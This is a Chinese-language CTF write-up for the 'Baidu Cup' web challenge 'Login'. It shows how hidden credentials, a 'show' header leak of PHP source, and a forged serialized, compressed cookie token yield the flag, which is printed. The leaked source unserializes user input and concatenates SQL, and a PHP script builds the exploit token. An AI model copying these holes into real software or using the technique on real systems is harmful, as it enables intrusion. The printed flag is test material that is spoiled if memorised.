“百度杯”CTF比赛 十月场-Login
“百度杯”CTF比赛 十月场
Login:
题目类型:web
题目描述:加油,我看好你!打开靶机得到的是一个登陆界面:

解题方法:随便输入一个登陆一下试试:

想着是SQL注入,但是无论怎么尝试也找不到注入点,然后查看一下网页源码:

在源码下面找到一段注释,写着两个test1,猜测可能是登录名和密码,尝试登陆一下:

登陆成功,跳转到member.php页面,但是该页面下只有一个颜文字,查看网页源码没有什么有用的信息
用bp来抓包看一下:

在Response中发现一个特殊的参数show:0(之前看的时候都没有注意到),这种特殊的响应头很奇怪,我们试着在Request中加上一个show:1的响应头试一下,可能Response中的show:0可能是不显示什么的意思

果然这里将show改为1就得到了member.php的源码:
<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?> -->(╯‵□′)╯︵┴─┴
现在就是审计这段php源码,审计完后我们知道只要让login中的user等于ichunqiu就会输出flag,然后这里我们要构造token的值,这里的token的值是经过base64,解压缩,反序列化后的结果:
所以我们可以构造如下payload:
<?php
$a=array('user'=>'ichunqiu');
$un=serialize($a);
$zp=gzcompress($un);
$pl=base64_encode($zp);
echo($pl);

打印输出我们的token值
最后在cookie里面添加我们的token值(注意:传的时候,在cookie中后面添加一个;然后加空格之后再加入token)

得到我们的flag:
flag{b79008d3-fa17-4425-bf17-b5b90250983e}
总结:这个比较迷惑的是开始的登陆界面,让人觉得是SQL注入,还有网页源码的中的给出的用户名和密码,多用bp抓包,注意看Response响应头里面有没有什么特殊的地方,比如这里的show:0